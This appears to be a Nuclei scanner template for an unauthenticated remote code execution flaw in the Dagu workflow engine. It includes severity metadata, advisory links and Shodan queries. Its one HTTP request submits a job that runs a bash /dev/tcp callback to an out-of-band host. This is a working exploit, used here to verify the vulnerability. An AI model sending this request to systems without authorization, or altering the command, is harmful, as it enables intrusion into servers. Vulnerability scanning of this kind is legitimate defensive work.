dagu-rce: Dagu Workflow Engine - Remote Code Execution

id: dagu-rce

info:
  name: Dagu Workflow Engine - Remote Code Execution
  author: omarkurt
  severity: critical
  description: |
    Dagu (<= 1.30.3) ships with authentication disabled by default. The POST /api/v2/dag-runs endpoint accepts inline YAML DAG specifications and immediately executes shell commands without credentials.
  remediation: Upgrade to a patched version.
  reference:
    - https://github.com/dagu-org/dagu
    - https://vulnerabletarget.com/vt-dagu
    - https://github.com/advisories/GHSA-6qr9-g2xw-cw92
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: dagu-org
    product: dagu
    shodan-query: 'title:"Dagu"'
    fofa-query: 'title="Dagu"'
  tags: dagu,rce,oob,unauth,vuln

variables:
  dag_name: "{{rand_text_alphanumeric(8)}}"

http:
  - raw:
      - |
        POST /api/v2/dag-runs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"vt-{{dag_name}}","spec":"steps:\n  - name: oob\n    command: bash -c 'echo vt > /dev/tcp/{{interactsh-url}}/80'\n"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "dagRunId")'
          - 'contains(content_type, "application/json")'
          - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220059e3867117ce2142c24bf39408bc63fb401a85e62476346ab672b90c84a98400220093b9cc0ccf98fad4211f3a6adeb77262e7af36bda2d14daadc8d9e68f8862ed:922c64590222798bb761d5b6d8e72950

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